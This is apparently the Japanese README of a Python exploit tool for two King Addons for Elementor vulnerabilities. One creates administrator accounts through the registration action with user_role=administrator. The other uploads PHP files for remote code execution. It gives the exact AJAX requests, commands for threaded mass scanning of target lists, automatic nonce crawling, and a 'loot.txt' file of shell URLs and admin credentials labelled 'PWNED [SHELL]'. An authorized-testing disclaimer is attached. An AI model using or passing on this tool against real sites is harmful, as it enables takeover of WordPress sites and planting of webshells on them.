
CVE-2025-6325 の認証不要の権限昇格と CVE-2025-6327 の任意ファイルアップロードによる RCE を、King Addons for Elementor <= 51.1.36 において検証する Python PoC。
King Addons for Elementor <= 51.1.36 を対象とした調査・検証ツールであり、2つの文書化された脆弱性を扱います:
認可されたセキュリティテスト、脆弱性研究、および管理されたラボ環境での使用のみを目的としています。
本プロジェクトは、King Addons for Elementor における2つの脆弱性のセキュリティ影響を検証するためのデュアル目的PoCを提供します。
King Addonsの登録機能を通じた認証不要の権限昇格。
脆弱なフローはクライアント制御の user_role 値を受け入れ、適切なロール許可リストを適用することなくWordPressのユーザー作成処理に渡します。
影響を受けるバージョン: <= 51.1.36
修正済みバージョン: 51.1.37
脆弱な登録フローは以下を使用します:
POST /wp-admin/admin-ajax.php
action=king_addons_user_register
user_role=administrator
PoCはさらに、作成されたアカウントが認証可能かどうか、およびWordPressのユーザー管理ページにアクセスできるかどうかを検証します。
King Addonsのフォームビルダーアップロード機能を通じた認証不要の任意ファイルアップロード。
脆弱なアップロードハンドラはPHPファイルを誤って受け入れる可能性があり、その結果、Webからアクセス可能なアップロードファイルが生成され、サーバーサイドコード実行につながる可能性があります。
影響を受けるバージョン: <= 51.1.36
修正済みバージョン: 51.1.37
関連するAJAXアクションは以下です:
POST /wp-admin/admin-ajax.php
action=king_addons_upload_file
PoCはアップロードフローを検証し、アップロードされたテストファイルが無害な id コマンドを実行できるかどうかを確認します。
スクリプトは4つの動作モードをサポートします:
check
privesc
upload
both
これらのモードはコマンドラインインターフェースから直接公開されています。
Python 3が必要です。
サードパーティのPythonパッケージは不要です。
Pythonのバージョンを確認:
python3 --version
両方の脆弱性チェックを実行:
python3 exploit.py -u http://target.local --exploit both
エクスプロイト段階を実行せずに、露出しているKing Addons nonceを探索:
python3 exploit.py -u http://target.local --exploit check
python3 exploit.py -u http://target.local --exploit privesc
python3 exploit.py -u http://target.local --exploit upload
ターゲットファイルを作成:
http://target1.local
https://target2.local
http://target3.local
コメント行と空行は無視されます。
パッシブ評価を実行:
python3 exploit.py -l targets.txt --exploit check
両方の検証段階を実行:
python3 exploit.py -l targets.txt --exploit both -t 20
アップロード検証を実行:
python3 exploit.py -l targets.txt --exploit upload -t 20
権限昇格検証を実行:
python3 exploit.py -l targets.txt --exploit privesc -t 20
PoCは、2つの脆弱なフローで必要とされるnonceをターゲットページから自動的に探索します。
デフォルトのクローラ設定:
Depth : 3
Max pages : 80
Timeout : 20 seconds
Threads : 10
これらのデフォルト値はスクリプトのCLI設定で定義されています。
例:
python3 exploit.py \
-l targets.txt \
--exploit both \
-t 20 \
--depth 3 \
--max-pages 80 \
--timeout 20
スクリプトは構造化結果に results.tsv、検証成功エントリに loot.txt をデフォルトとして使用します。
実行中、ツールはいくつかの状態を報告します。
アップロード検証が成功し、テストPHPファイルが検証リクエストに応答したことを示します。
例:
PWNED [SHELL]
権限昇格検証が脆弱な登録フローを使用してアカウントを作成したことを示します。
ツールはさらに、そのアカウントがWordPressのユーザー管理ページに対して検証されたかどうかを記録します。
作成されたアカウントが正常に認証され、WordPressのユーザーページで確認されました。
登録リクエストは成功しましたが、後続の検証ステップで結果のアカウントを確認できませんでした。
検証成功の結果は得られませんでした。
ターゲットがネットワーク、パース、クロール、またはその他の実行エラーを発生させました。
構造化結果はTSVとして書き込まれます:
results.tsv
出力には以下のフィールドが含まれます:
target
status
shell_url
shell_rce
priv_user
priv_pwd
priv_verified
err
この形式は、結果をスプレッドシートにインポートしたり、さらに処理したりするのに便利です。
検証成功エントリはさらに以下に書き込まれます:
loot.txt
スクリプトはシェル結果と権限検証結果を別々のエントリとして書き込みます。
Visitor
│
▼
Public King Addons Register Form
│
▼
Nonce discovery
│
▼
king_addons_user_register
│
▼
Client-controlled user_role
│
▼
WordPress user creation
│
▼
Privilege escalation validation
PoCは具体的に以下を登録エンドポイントに送信します:
user_role=administrator
Visitor
│
▼
King Addons Form Builder
│
▼
Upload nonce discovery
│
▼
king_addons_upload_file
│
▼
PHP test file upload
│
▼
Uploaded file URL
│
▼
Benign execution verification
PoCは一意に生成されたテストファイル名を使用し、返されたアップロードURLを確認します。
研究実装は以下に対してテストされました:
WordPress 6.8 / 7.1
Elementor 4.2.3
King Addons 51.1.14
研究ノートは、管理されたラボ環境において両方のフローの検証成功を報告しており、権限昇格とシェル実行を含みます。ネガティブコントロールもバージョン 51.1.37 に対してテストされました。
研究ノートは、51.1.35 および 51.1.36 の一部のWordPress.org ZIPリリースが、その後部分的な修正とともに再タグ付けされたことを示しています。
したがって、脆弱な実装は参照されたSVNタグ 51.1.14 を使用して確認されました。
研究を再現する場合は、51.1.35 または 51.1.36 とラベル付けされたすべてのパッケージが同一の脆弱なコードを含んでいると仮定するのではなく、研究で特定された正確なラボバージョンとパッケージを使用してください。
本プロジェクトは以下を目的としています:
明示的な認可を得たシステムのみをテストしてください。
許可なく本プロジェクトを第三者インフラに対して使用しないでください。
作者は、不正アクセス、永続化、データ窃取、またはシステムの妨害を推奨しません。
本ソフトウェアは、セキュリティ研究および認可されたテスト目的で提供されます。
本プロジェクトの使用が適用される法律、規制、契約、および認可要件に準拠していることを確認する責任はあなたにあります。
作者および貢献者は、不正使用、損害、サービス妨害、データ損失、または不正使用から生じるその他の結果について一切の責任を負いません。
JohenLastGen — JLG NETWORK
Research & Security Tooling
Telegram:
@johenlastgen
Channel:
@jlgnetworkredirect
MIT License
完全なライセンス条文については LICENSE を参照してください。
| オプション | 説明 |
|---|
-u, --url | 単一のターゲットURLをテスト |
-l, --list | ターゲットURLを含むファイル |
-e, --exploit | check、privesc、upload、both を選択 |
-t, --threads | 同時ワーカー数 |
--depth | クローラの最大リンク深さ |
--max-pages | ターゲットごとにクロールする最大ページ数 |
--timeout | HTTPリクエストのタイムアウト秒数 |
-o, --output | TSV結果出力 |
--loot | 検証成功の出力 |
--no-color | ターミナルカラーを無効化 |